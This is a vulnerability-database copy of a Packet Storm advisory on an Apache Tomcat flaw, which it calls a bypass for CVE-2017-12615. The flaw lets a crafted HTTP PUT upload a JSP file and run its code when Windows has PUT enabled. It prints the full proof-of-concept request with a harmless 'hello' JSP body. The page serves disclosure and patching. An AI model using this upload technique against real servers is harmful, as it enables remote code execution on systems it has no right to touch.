Apache Tomcat JSP Upload Bypass / Remote Code Execution

🗓️ 04 Oct 2017 00:00:00Reported by xxlegendType

packetstorm🔗 packetstormsecurity.com👁 522 Views

Apache Tomcat JSP Upload Bypass allows Remote Code Execution via crafted reques

Reporter	Title	Published	Views	Family All 133
IBM Security Bulletins	Security Bulletin: Multiple Security Vulnerabilities in Apache Tomcat affect IBM Rational License Key Server Administration and Reporting Tool	17 Jun 201805:23	–	ibm
IBM Security Bulletins	Security Bulletin: Multiple security vulnerabilities have been identified in Jazz Reporting Service shipped with Rational Insight (CVE-2017-12615, CVE-2017-12616, CVE-2017-12617)	17 Jun 201805:23	–	ibm
IBM Security Bulletins	Security Bulletin: Security vulnerabilities in Apache Tomcat affect multiple IBM Rational products based on IBM's Jazz technology	28 Apr 202118:35	–	ibm
IBM Security Bulletins	Security Bulletin: Rational Build Forge Security Advisory for Apache HTTPD, Apache Tomcat and OpenSSL Upgrade	17 Jun 201805:24	–	ibm
IBM Security Bulletins	Security Bulletin: WebSphere Message Broker and IBM Integration Bus is affected by Open Source Apache Tomcat Vulnerabilities (CVE-2017-12617,CVE-2017-12615)	23 Mar 202020:41	–	ibm
IBM Security Bulletins	Security Bulletin: IBM OpenPages GRC Platform has addressed multiple Apache Tomcat vulnerabilities.	15 Jun 201823:49	–	ibm
IBM Security Bulletins	Security Bulletin: Multiple security vulnerabilities have been identified in Jazz Reporting Service shipped with Rational Reporting for Development Intelligence (CVE-2017-12615, CVE-2017-12616, CVE-2017-12617)	17 Jun 201805:23	–	ibm
IBM Security Bulletins	Security Bulletin: Multiple security vulnerabilities have been identified in Jazz Team Server shipped with Jazz Reporting Service (CVE-2017-12615, CVE-2017-12616, CVE-2017-12617)	17 Jun 201805:23	–	ibm
Gitee	Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat	7 Oct 202017:01	–	gitee
Gitee	Exploit for Deserialization of Untrusted Data in Redhat Jboss_Enterprise_Application_Platform	8 Dec 202020:38	–	gitee

`When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request.   
This JSP could then be requested and any code it contained would be executed by the server.  
  
The PoC is like this:  
  
PUT /1.jsp/ HTTP/1.1  
Host: 192.168.3.103:8080  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer: http://192.168.3.103:8080/examples/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2  
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94  
Connection: close  
Content-Length: 26  
  
<% out.println("hello");%>  
  
It is the bypass for CVE-2017-12615  
  
`

04 Oct 2017 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.99607